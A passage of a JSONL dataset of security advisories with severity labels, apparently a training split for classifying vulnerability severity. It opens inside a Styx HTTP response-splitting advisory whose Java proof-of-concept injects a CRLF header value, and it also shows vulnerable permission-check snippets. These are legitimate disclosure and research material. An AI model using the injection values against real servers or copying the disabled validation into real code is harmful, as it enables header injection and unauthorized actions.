chain)).block();\n\nassertThat(response.header(&quot;myResponseHeader&quot;).orElse(null), is(&quot;test\\r\\nAnother: CRLF_Injection&quot;));\n    }\n```\nAdditionally, if you run this LiveHttpResponse from this test through the `StyxToNettyResponseTranslator::toNettyResponse`, ideally, it would have caused an exception to be thrown. In its current state, it does not.\n\n# Similar Vulnerabilities\nThere have been reports of similar vulnerabilities in other popular libraries.\n\nGHSA-35fr-h7jr-hh86 -&gt; CVE-2019-16771\nGHSA-mvqp-q37c-wf9j -&gt; CVE-2019-17513\n\n# Finding\nThis vulnerability was found due to this query that [Jonathan Leitschuh](https://twitter.com/jlleitschuh) contributed to the Semmle QL project.\nhttps://lgtm.com/rules/1510696449842/alerts/", "text_raw": "HTTP Response Splitting in Styx\n\n[Severity: MEDIUM]\n\n# Vulnerability\nStyx is vulnerable to CWE-113: Improper Neutralization of CRLF Sequences in HTTP Headers (&#39;HTTP Response Splitting&#39;).\n\n# Vulnerable Component\nThe vulnerable component is the `com.hotels.styx.api.HttpHeaders.Builder` due to disabling the HTTP Header validation built into Netty in these locations:\n\nhttps://github.com/HotelsDotCom/styx/blob/e1d578e9b9c38df9cd19c21dc2eb9b949d85b558/components/api/src/main/java/com/hotels/styx/api/HttpHeaders.java#L145\n\nhttps://github.com/HotelsDotCom/styx/blob/e1d578e9b9c38df9cd19c21dc2eb9b949d85b558/components/api/src/main/java/com/hotels/styx/api/HttpHeaders.java#L145\n\n`new DefaultHttpHeaders(false)` disables the built-in validation in Netty. Either use the default constructor or `new DefaultHttpHeaders(true`  instead.\n\nAdditionally, another vulnerable component is the StyxToNettyResponseTranslator due to also disabling the HTTP Header validation built into netty in this location.\n\nhttps://github.com/HotelsDotCom/styx/blob/8d60e5493e65d0d536afc0b350dcb02d24e0f7a7/components/server/src/main/java/com/hotels/styx/server/netty/connectors/StyxToNettyResponseTranslator.java#L30\n\n `DefaultHttpResponse nettyResponse = new DefaultHttpResponse(version, httpResponseStatus, false); `\n`new DefaultHttpResponse(version, httpResponseStatus, false);` disables the built-in validation in Netty. Please use the constructor `new DefaultHttpResponse(version, httpResponseStatus, true);`\n\n# Proof of Concept\nThe following test plugin proves that there is no header validation occurring.\n\n```java\n    static class VulnerablePlugin implements Plugin {\n\n        @Override\n        public Eventual&lt;LiveHttpResponse&gt; intercept(LiveHttpRequest request, Chain chain) {\n            String header = request.queryParam(&quot;header-value&quot;).get();\n            LiveHttpRequest newRequest = request.newBuilder()\n                .header(&quot;myRequestHeader&quot;, header)\n                .build();\n            return chain.proceed(newRequest).map(response -&gt;\n                response.newBuilder().header(&quot;myResponseHeader&quot;, header).build()\n            ) ;\n        }\n\n    }\n\n    @Test\n    public void simpleHeaderInjectionVulnerabilityPOC() {\n        Plugin vulnerablePlugin = new VulnerablePlugin();\n        // a simple way to mock the downstream system\n        HttpInterceptor.Chain chain = request -&gt; {\n            assertThat(request.header(&quot;myRequestHeader&quot;).orElse(null), is(&quot;test\\r\\nAnother: CRLF_Injection&quot;));\n            return Eventual.of(response(OK).build());\n        };\n\n        // an example request you expect your plugin to receive\n        String encodedGet = URLEncoder.encode(&quot;test\\r\\nAnother: CRLF_Injection&quot;);\n        LiveHttpRequest request = get(&quot;/foo?header-value=&quot; + encodedGet)\n            .build();\n\n        // since this is a test, we want to wait for the response\n        LiveHttpResponse response = Mono.from(vulnerablePlugin.intercept(request, chain)).block();\n\n        assertThat(response.header(&quot;myResponseHeader&quot;).orElse(null), is(&quot;test\\r\\nAnother: CRLF_Injection&quot;));\n    }\n```\nAdditionally, if you run this LiveHttpResponse from this test through the `StyxToNettyResponseTranslator::toNettyResponse`, ideally, it would have caused an exception to be thrown. In its current state, it does not.\n\n# Similar Vulnerabilities\nThere have been reports of similar vulnerabilities in other popular libraries.\n\nGHSA-35fr-h7jr-hh86 -&gt; CVE-2019-16771\nGHSA-mvqp-q37c-wf9j -&gt; CVE-2019-17513\n\n\n# Finding\nThis vulnerability was found due to this query that [Jonathan Leitschuh](https://twitter.com/jlleitschuh) contributed to the Semmle QL project.\nhttps://lgtm.com/rules/1510696449842/alerts/", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2020-03-03", "split": "train"}
-{"id": "8643c112986ac0ade0d2", "text": "Permissions not properly checked in Invenio-Drafts-Resources\n\n### Impact\n\nInvenio-Drafts-Resources does not properly check permissions when a record is published. The vulnerability is exploitable in a default installation of InvenioRDM. An authenticated user is able via REST API calls to publish draft records of other users if they know the record identifier and the draft validates (e.g. all require fields filled out). An attacker is not able to modify the data in the record, and thus e.g. *cannot* change a record from restricted to public.\n\n### Details\n\nThe service's ``publish()`` method contains the following permission check:\n\n```python\ndef publish(..):\n    self.require_permission(identity, \"publish\")\n```\nHowever, the record should have been passed into the permission check so that the need generators have access to e.g. the record owner.\n\n```python\ndef publish(..):\n    self.require_permission(identity, \"publish\", record=record)\n```\nThe bug is activated in Invenio-RDM-Records which has a need generator called ``RecordOwners()``, which when no record is passed in defaults to allow any authenticated user:\n\n```python\nclass RecordOwners(Generator):\n    def needs(self, record=None, **kwargs):\n        if record is None:\n            return [authenticated_user]\n    # ...\n```\n\n### Patches\n\nThe problem is patched in Invenio-Drafts-Resources v0.13.7 and 0.14.6+, which is part of InvenioRDM v6.0.1 and InvenioRDM v7.0 respectively.\n\nYou can verify the version installed of Invenio-Drafts-Resources via PIP:\n\n```console\ncd ~/src/my-site\npipenv run pip freeze | grep invenio-drafts-resources\n```\n\n### References\n\n- [Security policy](https://invenio.readthedocs.io/en/latest/community/security-policy.html)\n\n### For more information\n\nIf you have any questions or comments about this advisory:\n* Chat with us on Discord: https://discord.gg/8qatqBC", "text_raw": "Permissions not properly checked in Invenio-Drafts-Resources\n\n[Severity: MEDIUM]\n\n### Impact\n\nInvenio-Drafts-Resources does not properly check permissions when a record is published. The vulnerability is exploitable in a default installation of InvenioRDM. An authenticated user is able via REST API calls to publish draft records of other users if they know the record identifier and the draft validates (e.g. all require fields filled out). An attacker is not able to modify the data in the record, and thus e.g. *cannot* change a record from restricted to public.\n\n### Details\n\nThe service's ``publish()`` method contains the following permission check:\n\n```python\ndef publish(..):\n    self.require_permission(identity, \"publish\")\n```\nHowever, the record should have been passed into the permission check so that the need generators have access to e.g. the record owner.\n\n```python\ndef publish(..):\n    self.require_permission(identity, \"publish\", record=record)\n```\nThe bug is activated in Invenio-RDM-Records which has a need generator called ``RecordOwners()``, which when no record is passed in defaults to allow any authenticated user:\n\n```python\nclass RecordOwners(Generator):\n    def needs(self, record=None, **kwargs):\n        if record is None:\n            return [authenticated_user]\n    # ...\n```\n\n### Patches\n\nThe problem is patched in Invenio-Drafts-Resources v0.13.7 and 0.14.6+, which is part of InvenioRDM v6.0.1 and InvenioRDM v7.0 respectively.\n\nYou can verify the version installed of Invenio-Drafts-Resources via PIP:\n\n```console\ncd ~/src/my-site\npipenv run pip freeze | grep invenio-drafts-resources\n```\n\n### References\n\n- [Security policy](https://invenio.readthedocs.io/en/latest/community/security-policy.html)\n\n### For more information\n\nIf you have any questions or comments about this advisory:\n* Chat with us on Discord: https://discord.gg/8qatqBC\n\n", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-12-06", "split": "train"}
-{"id": "af735eab99d9c90a4a1c", "text": "Data race in atomic-option\n\nAn issue was discovered in the atomic-option crate through 2020-10-31 for Rust. Because AtomicOption<T> implements Sync unconditionally, a data race can occur.", "text_raw": "Data race in atomic-option\n\n[Severity: MEDIUM]\n\nAn issue was discovered in the atomic-option crate through 2020-10-31 for Rust. Because AtomicOption<T> implements Sync unconditionally, a data race can occur.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "74e668ddebfc40a0bc4f", "text": "Cross-site scripting in Jupyter Notebook\n\nJupyter Notebook before 5.5.0 does not use a CSP header to treat served files as belonging to a separate origin. Thus, for example, an XSS payload can be placed in an SVG document.", "text_raw": "Cross-site scripting in Jupyter Notebook\n\n[Severity: MEDIUM]\n\nJupyter Notebook before 5.5.0 does not use a CSP header to treat served files as belonging to a separate origin. Thus, for example, an XSS payload can be placed in an SVG document.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2019-11-08", "split": "train"}
-{"id": "f3454fae8b88055d05f2", "text": "Exceptions displayed in non-debug configurations in Symfony\n\nDescription\n-----------\n\nWhen `ErrorHandler` renders an exception HTML page, it uses un-escaped properties from the related Exception class to render the stacktrace. The security issue comes from the fact that the stacktraces were also displayed in non-`debug` environments.\n\nResolution\n----------\n\nThe `ErrorHandler` class now escapes all properties coming from the related Exception, and the stacktrace is not displayed anymore in non-`debug` environments.\n\nThe patches for this issue are available [here](https://github.com/symfony/symfony/commit/cf80224589ac05402d4f72f5ddf80900ec94d5ad) and [here](https://github.com/symfony/symfony/commit/629d21b800a15dc649fb0ae9ed7cd9211e7e45db) for branch 4.4.\n\nCredits\n-------\n\nI would like to thank Luka Sikic for reporting & Yonel Ceruto and Jérémy Derussé for fixing the issue.", "text_raw": "Exceptions displayed in non-debug configurations in Symfony\n\n[Severity: MEDIUM]\n\nDescription\n-----------\n\nWhen `ErrorHandler` renders an exception HTML page, it uses un-escaped properties from the related Exception class to render the stacktrace. The security issue comes from the fact that the stacktraces were also displayed in non-`debug` environments.\n\nResolution\n----------\n\nThe `ErrorHandler` class now escapes all properties coming from the related Exception, and the stacktrace is not displayed anymore in non-`debug` environments.\n\nThe patches for this issue are available [here](https://github.com/symfony/symfony/commit/cf80224589ac05402d4f72f5ddf80900ec94d5ad) and [here](https://github.com/symfony/symfony/commit/629d21b800a15dc649fb0ae9ed7cd9211e7e45db) for branch 4.4.\n\nCredits\n-------\n\nI would like to thank Luka Sikic for reporting & Yonel Ceruto and Jérémy Derussé for fixing the issue.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2020-03-30", "split": "train"}
-{"id": "01456553c1a8a23ccbd2", "text": "Denial of service due to reference expansion in versions earlier than 4.0\n\n### Impact\n\nThe CBOR library supports optional tags that enable CBOR objects to contain references to objects within them. Versions earlier than 4.0 resolved those references automatically. While this by itself doesn't cause much of a security problem, a denial of service can happen if those references are deeply nested and used multiple times (so that the same reference to the same object occurs multiple times), and if the decoded CBOR object is sent to a serialization method such as EncodeToBytes, ToString, or ToJSONString, since the objects referred to are expanded in the process and take up orders of magnitude more memory than if the references weren't resolved.\n\nThe impact of this problem on any particular system varies. In general, the risk is higher if the system allows users to send arbitrary CBOR objects without authentication, or exposes a remote endpoint in which arbitrary CBOR objects can be sent without authentication.\n\n### Patches\n\nThis problem is addressed in version 4.0 by disabling reference resolution by default. Users should use the latest version of this library.\n\n### Workarounds\n\nSince version 3.6, an encoding option (`resolvereferences=true` or `resolvereferences=false`) in CBOREncodeOptions sets whether the CBOR processor will resolve these kinds of references when decoding a CBOR object. Set `resolvereferences=false` to disable reference resolution.\n\nIn version 3.6, if the method used CBORObject.Read() or CBORObject.DecodeFromBytes() to decode a serialized CBOR object, call the overload that takes CBOREncodeOptions as follows:\n\nCBORObject.DecodeFromBytes(bytes, new CBOREncodeOptions(\"resolvereferences=false\"));\n\nIn versions 3.5 and earlier, this issue is present only if the CBOR object is an array or a map. If the application does not expect a decoded CBOR object to be an array or a map, it should check the CBOR object's type before encoding that object, as follows:\n\nif (cbor.Type != CBORType.Array && cbor.Type != CBORType.Map) {\n       cbor.EncodeToBytes();\n    }\n\nAlternatively, for such versions, the application can use WriteTo to decode the CBOR object to a so-called \"limited memory stream\", that is, a Stream that throws an exception if too many bytes would be written. How to write such a limited-memory stream is nontrivial and beyond the scope of this advisory.\n\nLimitedMemoryStream stream = new LimitedMemoryStream(100000); // Limit to 100000 bytes\n    cbor.WriteTo(stream);\n    return stream.ToBytes();\n\nTo check whether a byte array representing a CBOR object might exhibit this problem, check whether the array contains the byte 0xd8 followed immediately by either 0x19 or 0x1d. This check catches all affected CBOR objects but may catch some non-affected CBOR objects (notably integers and byte strings).\n\n### References\n\nSee the Wikipedia article [Billion laughs attack](https://en.wikipedia.org/wiki/Billion_laughs_attack) and the related issue in [Kubernetes](https://github.com/kubernetes/kubernetes/issues/83253).\n\n### For more information\n\nIf you have any questions or comments about this advisory, open an issue in [the CBOR repository](https://github.com/peteroupc/cbor-java).", "text_raw": "Denial of service due to reference expansion in versions earlier than 4.0\n\n[Severity: HIGH]\n\n### Impact\n\nThe CBOR library supports optional tags that enable CBOR objects to contain references to objects within them. Versions earlier than 4.0 resolved those references automatically. While this by itself doesn't cause much of a security problem, a denial of service can happen if those references are deeply nested and used multiple times (so that the same reference to the same object occurs multiple times), and if the decoded CBOR object is sent to a serialization method such as EncodeToBytes, ToString, or ToJSONString, since the objects referred to are expanded in the process and take up orders of magnitude more memory than if the references weren't resolved.\n\nThe impact of this problem on any particular system varies. In general, the risk is higher if the system allows users to send arbitrary CBOR objects without authentication, or exposes a remote endpoint in which arbitrary CBOR objects can be sent without authentication.\n\n### Patches\n\nThis problem is addressed in version 4.0 by disabling reference resolution by default. Users should use the latest version of this library.\n\n### Workarounds\n\nSince version 3.6, an encoding option (`resolvereferences=true` or `resolvereferences=false`) in CBOREncodeOptions sets whether the CBOR processor will resolve these kinds of references when decoding a CBOR object. Set `resolvereferences=false` to disable reference resolution.\n\nIn version 3.6, if the method used CBORObject.Read() or CBORObject.DecodeFromBytes() to decode a serialized CBOR object, call the overload that takes CBOREncodeOptions as follows:\n\n    CBORObject.DecodeFromBytes(bytes, new CBOREncodeOptions(\"resolvereferences=false\"));\n\nIn versions 3.5 and earlier, this issue is present only if the CBOR object is an array or a map. If the application does not expect a decoded CBOR object to be an array or a map, it should check the CBOR object's type before encoding that object, as follows:\n\n    if (cbor.Type != CBORType.Array && cbor.Type != CBORType.Map) {\n       cbor.EncodeToBytes();\n    }\n\nAlternatively, for such versions, the application can use WriteTo to decode the CBOR object to a so-called \"limited memory stream\", that is, a Stream that throws an exception if too many bytes would be written. How to write such a limited-memory stream is nontrivial and beyond the scope of this advisory.\n\n    LimitedMemoryStream stream = new LimitedMemoryStream(100000); // Limit to 100000 bytes\n    cbor.WriteTo(stream);\n    return stream.ToBytes();\n\nTo check whether a byte array representing a CBOR object might exhibit this problem, check whether the array contains the byte 0xd8 followed immediately by either 0x19 or 0x1d. This check catches all affected CBOR objects but may catch some non-affected CBOR objects (notably integers and byte strings).\n\n### References\n\nSee the Wikipedia article [Billion laughs attack](https://en.wikipedia.org/wiki/Billion_laughs_attack) and the related issue in [Kubernetes](https://github.com/kubernetes/kubernetes/issues/83253).\n\n### For more information\n\nIf you have any questions or comments about this advisory, open an issue in [the CBOR repository](https://github.com/peteroupc/cbor-java).\n", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-07-07", "split": "train"}
-{"id": "5a4f5fd16e5efec51aa4", "text": "chromedriver Downloads Resources over HTTP\n\nAffected versions of `chromedriver` insecurely download resources over HTTP.\n\nIn scenarios where an attacker has a privileged network position, they can modify or read such resources at will. This may result in arbitrary code execution if an attacker intercepts and modifies the downloaded binary file, replacing it with a malicious one.\n\n## Recommendation\n\nUpdate to version 2.26.1 or later.", "text_raw": "chromedriver Downloads Resources over HTTP\n\n[Severity: HIGH]\n\nAffected versions of `chromedriver` insecurely download resources over HTTP. \n\nIn scenarios where an attacker has a privileged network position, they can modify or read such resources at will. This may result in arbitrary code execution if an attacker intercepts and modifies the downloaded binary file, replacing it with a malicious one. \n\n\n\n## Recommendation\n\nUpdate to version 2.26.1 or later.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-02-18", "split": "train"}
-{"id": "d916572c5e0e60afc067", "text": "Prototype polluation in just-safe-set\n\nPrototype pollution vulnerability in ‘just-safe-set’ versions 1.0.0 through 2.2.1 allows an attacker to cause a denial of service and may lead to remote code execution.", "text_raw": "Prototype polluation in just-safe-set\n\n[Severity: CRITICAL]\n\nPrototype pollution vulnerability in ‘just-safe-set’ versions 1.0.0 through 2.2.1 allows an attacker to cause a denial of service and may lead to remote code execution.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-12-10", "split": "train"}
-{"id": "a2b061eb87d6a421d665", "text": "firefly-iii is vulnerable to Cross-Site Request Forgery (CSRF)\n\nfirefly-iii is vulnerable to Cross-Site Request Forgery (CSRF).", "text_raw": "firefly-iii is vulnerable to Cross-Site Request Forgery (CSRF)\n\n[Severity: MEDIUM]\n\nfirefly-iii is vulnerable to Cross-Site Request Forgery (CSRF).", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-12-06", "split": "train"}
-{"id": "b9d1a83f92d6fdcd621e", "text": "Possible request smuggling in HTTP/2 due missing validation of content-length\n\n### Impact\nThe content-length header is not correctly validated if the request only use a single Http2HeaderFrame with the endStream set to to true. This could lead to request smuggling if the request is proxied to a remote peer and translated to HTTP/1.1\n\nThis is a followup of https://github.com/netty/netty/security/advisories/GHSA-wm47-8v5p-wjpj which did miss to fix this one case.\n\n### Patches\nThis was fixed as part of 4.1.61.Final\n\n### Workarounds\nValidation can be done by the user before proxy the request by validating the header.", "text_raw": "Possible request smuggling in HTTP/2 due missing validation of content-length\n\n[Severity: MEDIUM]\n\n### Impact\nThe content-length header is not correctly validated if the request only use a single Http2HeaderFrame with the endStream set to to true. This could lead to request smuggling if the request is proxied to a remote peer and translated to HTTP/1.1\n\nThis is a followup of https://github.com/netty/netty/security/advisories/GHSA-wm47-8v5p-wjpj which did miss to fix this one case. \n\n### Patches\nThis was fixed as part of 4.1.61.Final\n\n### Workarounds\nValidation can be done by the user before proxy the request by validating the header.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-03-30", "split": "train"}
-{"id": "8fd60b65a4f0603397c5", "text": "HomeAutomation v3.3.2 CSRF Remote Command Execution (PHP Reverse Shell) PoC", "text_raw": "HomeAutomation v3.3.2 CSRF Remote Command Execution (PHP Reverse Shell) PoC\n\nSeverity: high", "severity": "high", "severity_label": 2, "source": "zeroscience", "timestamp": "2019-12-29", "split": "train"}
-{"id": "56cffe1701a0ceacb1d5", "text": "Path Traversal in @backstage/plugin-scaffolder-backend\n\n### Impact\nA malicious actor with write access to a registered scaffolder template is able to manipulate the template in a way that writes files to arbitrary paths on the scaffolder-backend host instance.\n\nThis vulnerability can in some situation also be exploited through user input when executing a template, meaning you do not need write access to the templates. This method will not allow the attacker to control the contents of the injected file however, unless the template is also crafted in a specific way that gives control of the file contents.\n\n### Patches\nThis vulnerability is fixed in version `0.15.14` of the `@backstage/plugin-scaffolder-backend`.\n\n### Workarounds\nThis attack is mitigated by restricting access and requiring reviews when registering or modifying scaffolder templates.\n\n### For more information\nIf you have any questions or comments about this advisory:\n\n* Open an issue in the [Backstage repository](https://github.com/backstage/backstage)\n* Visit our chat, linked to in [Backstage README](https://github.com/backstage/backstage)", "text_raw": "Path Traversal in @backstage/plugin-scaffolder-backend\n\n[Severity: HIGH]\n\n### Impact\nA malicious actor with write access to a registered scaffolder template is able to manipulate the template in a way that writes files to arbitrary paths on the scaffolder-backend host instance.\n\nThis vulnerability can in some situation also be exploited through user input when executing a template, meaning you do not need write access to the templates. This method will not allow the attacker to control the contents of the injected file however, unless the template is also crafted in a specific way that gives control of the file contents.\n\n### Patches\nThis vulnerability is fixed in version `0.15.14` of the `@backstage/plugin-scaffolder-backend`.\n\n### Workarounds\nThis attack is mitigated by restricting access and requiring reviews when registering or modifying scaffolder templates.\n\n### For more information\nIf you have any questions or comments about this advisory:\n\n* Open an issue in the [Backstage repository](https://github.com/backstage/backstage)\n* Visit our chat, linked to in [Backstage README](https://github.com/backstage/backstage)\n", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-12-01", "split": "train"}
-{"id": "bc5233d463ebce8bbd18", "text": "Cross-site Scripting in Jooby\n\nJooby before 1.6.4 has XSS via the default error handler.", "text_raw": "Cross-site Scripting in Jooby\n\n[Severity: MEDIUM]\n\nJooby before 1.6.4 has XSS via the default error handler.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2019-08-27", "split": "train"}
-{"id": "233cfec5d781c2440f6f", "text": "FatPipe Networks WARP/IPVPN/MPVPN 10.2.2 Unauthenticated Config Download", "text_raw": "FatPipe Networks WARP/IPVPN/MPVPN 10.2.2 Unauthenticated Config Download\n\nSeverity: high", "severity": "high", "severity_label": 2, "source": "zeroscience", "timestamp": "2021-09-27", "split": "train"}
-{"id": "158f70ef813b112a44b2", "text": "jackson-databind Deserialization of Untrusted Data vulnerability\n\nAn issue was discovered in FasterXML jackson-databind prior to 2.7.9.4, 2.8.11.2, and 2.9.6. When Default Typing is enabled (either globally or for a specific property), the service has the Jodd-db jar (for database access for the Jodd framework) in the classpath, and an attacker can provide an LDAP service to access, it is possible to make the service execute a malicious payload.", "text_raw": "jackson-databind Deserialization of Untrusted Data vulnerability\n\n[Severity: HIGH]\n\nAn issue was discovered in FasterXML jackson-databind prior to 2.7.9.4, 2.8.11.2, and 2.9.6. When Default Typing is enabled (either globally or for a specific property), the service has the Jodd-db jar (for database access for the Jodd framework) in the classpath, and an attacker can provide an LDAP service to access, it is possible to make the service execute a malicious payload.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-03-25", "split": "train"}
-{"id": "152d198f96b73ffba9bf", "text": "kimai2 is vulnerable to Cross-site Scripting\n\nkimai2 is vulnerable to Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting').", "text_raw": "kimai2 is vulnerable to Cross-site Scripting\n\n[Severity: HIGH]\n\nkimai2 is vulnerable to Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting').", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-12-03", "split": "train"}
-{"id": "20e734ced96085631929", "text": "Cross-site Scripting in Jenkins Dashboard View Plugin\n\nJenkins Dashboard View Plugin prior to 2.16 and 2.12.1 does not escape URLs referenced in Image Dashboard Portlets, resulting in a stored cross-site scripting (XSS) vulnerability exploitable by attackers with View/Configure permission.\n\nAs part of this fix, the property for image URLs was changed from `url` to `imageUrl`. Existing [Configuration as Code](https://plugins.jenkins.io/configuration-as-code/) configurations are still supported, but exports will emit the new property.", "text_raw": "Cross-site Scripting in Jenkins Dashboard View Plugin\n\n[Severity: MEDIUM]\n\nJenkins Dashboard View Plugin prior to 2.16 and 2.12.1 does not escape URLs referenced in Image Dashboard Portlets, resulting in a stored cross-site scripting (XSS) vulnerability exploitable by attackers with View/Configure permission.\n\nAs part of this fix, the property for image URLs was changed from `url` to `imageUrl`. Existing [Configuration as Code](https://plugins.jenkins.io/configuration-as-code/) configurations are still supported, but exports will emit the new property.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-06-16", "split": "train"}
-{"id": "7dc96b264d0d98bafd88", "text": "VVE-2021-0001: Memory corruption using function calls within arrays\n\n### Impact\nWhen performing a function call inside an array, there is a memory corruption issue that occurs because of an incorrect pointer to the the tip of the stack.\n\n### Patches\nThis issue was partially fixed in [VVE-2020-0004](https://github.com/vyperlang/vyper/security/advisories/GHSA-2r3x-4mrv-mcxf), however the fix did not update similar code for arrays, which had a similar issue. The issue is fully fixed in https://github.com/vyperlang/vyper/pull/2345", "text_raw": "VVE-2021-0001: Memory corruption using function calls within arrays\n\n[Severity: MEDIUM]\n\n### Impact\nWhen performing a function call inside an array, there is a memory corruption issue that occurs because of an incorrect pointer to the the tip of the stack.\n\n### Patches\nThis issue was partially fixed in [VVE-2020-0004](https://github.com/vyperlang/vyper/security/advisories/GHSA-2r3x-4mrv-mcxf), however the fix did not update similar code for arrays, which had a similar issue. The issue is fully fixed in https://github.com/vyperlang/vyper/pull/2345", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-04-19", "split": "train"}
-{"id": "b344b139dde1cbe30713", "text": "Insufficient Session Expiration and TOCTOU Race Condition in OPC FOundation UA .Net Standard\n\nThis vulnerability allows remote attackers to create a denial-of-service condition on affected installations of OPC Foundation UA .NET Standard 1.04.358.30. Authentication is not required to exploit this vulnerability. The specific flaw exists within the handling of sessions. The issue results from the lack of proper locking when performing operations on an object. An attacker can leverage this vulnerability to create a denial-of-service condition against the application. Was ZDI-CAN-10295.", "text_raw": "Insufficient Session Expiration and TOCTOU Race Condition in OPC FOundation UA .Net Standard\n\n[Severity: MEDIUM]\n\nThis vulnerability allows remote attackers to create a denial-of-service condition on affected installations of OPC Foundation UA .NET Standard 1.04.358.30. Authentication is not required to exploit this vulnerability. The specific flaw exists within the handling of sessions. The issue results from the lack of proper locking when performing operations on an object. An attacker can leverage this vulnerability to create a denial-of-service condition against the application. Was ZDI-CAN-10295.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-08-02", "split": "train"}
-{"id": "d7bfdb2db3ed2508879e", "text": "Null pointer deference in cache\n\nAn issue was discovered in the cache crate through 2021-01-01 for Rust. A raw pointer is dereferenced.", "text_raw": "Null pointer deference in cache\n\n[Severity: HIGH]\n\nAn issue was discovered in the cache crate through 2021-01-01 for Rust. A raw pointer is dereferenced.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "0dab77a80fd26e82185c", "text": "File system access via H2 in Apache Ignite\n\nApache Ignite uses H2 database to build SQL distributed execution engine. H2 provides SQL functions which could be used by attacker to access to a filesystem.", "text_raw": "File system access via H2 in Apache Ignite\n\n[Severity: CRITICAL]\n\nApache Ignite uses H2 database to build SQL distributed execution engine. H2 provides SQL functions which could be used by attacker to access to a filesystem.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-06-05", "split": "train"}
-{"id": "c05e91e3f22f6ca6d000", "text": "HTTParty does not restrict casts of string values\n\nThe httparty gem 0.9.0 and earlier for Ruby does not properly restrict casts of string values, which might allow remote attackers to conduct object-injection attacks and execute arbitrary code, or cause a denial of service (memory and CPU consumption) by leveraging Action Pack support for YAML type conversion, a similar vulnerability to CVE-2013-0156.", "text_raw": "HTTParty does not restrict casts of string values\n\n[Severity: HIGH]\n\nThe httparty gem 0.9.0 and earlier for Ruby does not properly restrict casts of string values, which might allow remote attackers to conduct object-injection attacks and execute arbitrary code, or cause a denial of service (memory and CPU consumption) by leveraging Action Pack support for YAML type conversion, a similar vulnerability to CVE-2013-0156.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2017-10-24", "split": "train"}
-{"id": "87af9ae9209e7503b452", "text": "Bootstrap Cross-site Scripting vulnerability\n\nIn Bootstrap 4.x before 4.1.2, XSS is possible in the data-target property of scrollspy. This is similar to CVE-2018-14042.", "text_raw": "Bootstrap Cross-site Scripting vulnerability\n\n[Severity: MEDIUM]\n\nIn Bootstrap 4.x before 4.1.2, XSS is possible in the data-target property of scrollspy. This is similar to CVE-2018-14042.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2018-09-13", "split": "train"}
-{"id": "f0c0ca3a9bd1b853ad9b", "text": "RubyGems Escape sequence injection vulnerability in api response handling\n\nAn issue was discovered in RubyGems 2.6 and later through 3.0.2. Gem::GemcutterUtilities#with_response may output the API response to stdout as it is. Therefore, if the API side modifies the response, escape sequence injection may occur.", "text_raw": "RubyGems Escape sequence injection vulnerability in api response handling\n\n[Severity: HIGH]\n\nAn issue was discovered in RubyGems 2.6 and later through 3.0.2. Gem::GemcutterUtilities#with_response may output the API response to stdout as it is. Therefore, if the API side modifies the response, escape sequence injection may occur.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-06-20", "split": "train"}
-{"id": "ebecfa873c4f4b7073d1", "text": "RealtyScript v4.0.2 Multiple Time-based Blind SQL Injection Vulnerabilities", "text_raw": "RealtyScript v4.0.2 Multiple Time-based Blind SQL Injection Vulnerabilities\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2015-10-19", "split": "train"}
-{"id": "c6cd0a45a075eb53e788", "text": "actionpack is vulnerable to denial of service via a crafted HTTP Accept header\n\nactionpack/lib/action_dispatch/http/mime_type.rb in Action Pack in Ruby on Rails before 3.2.22.1, 4.0.x and 4.1.x before 4.1.14.1, 4.2.x before 4.2.5.1, and 5.x before 5.0.0.beta1.1 does not properly restrict use of the MIME type cache, which allows remote attackers to cause a denial of service (memory consumption) via a crafted HTTP Accept header.", "text_raw": "actionpack is vulnerable to denial of service via a crafted HTTP Accept header\n\n[Severity: HIGH]\n\nactionpack/lib/action_dispatch/http/mime_type.rb in Action Pack in Ruby on Rails before 3.2.22.1, 4.0.x and 4.1.x before 4.1.14.1, 4.2.x before 4.2.5.1, and 5.x before 5.0.0.beta1.1 does not properly restrict use of the MIME type cache, which allows remote attackers to cause a denial of service (memory consumption) via a crafted HTTP Accept header.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2017-10-24", "split": "train"}
-{"id": "d9ef9cb2f985170f6c8a", "text": "Loaded Databook of Tablib prone to python insertion resulting in command execution\n\nAn exploitable vulnerability exists in the Databook loading functionality of Tablib 0.11.4. A yaml loaded Databook can execute arbitrary python commands resulting in command execution. An attacker can insert python into loaded yaml to trigger this vulnerability.", "text_raw": "Loaded Databook of Tablib prone to python insertion resulting in command execution\n\n[Severity: CRITICAL]\n\nAn exploitable vulnerability exists in the Databook loading functionality of Tablib 0.11.4. A yaml loaded Databook can execute arbitrary python commands resulting in command execution. An attacker can insert python into loaded yaml to trigger this vulnerability.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2018-07-13", "split": "train"}
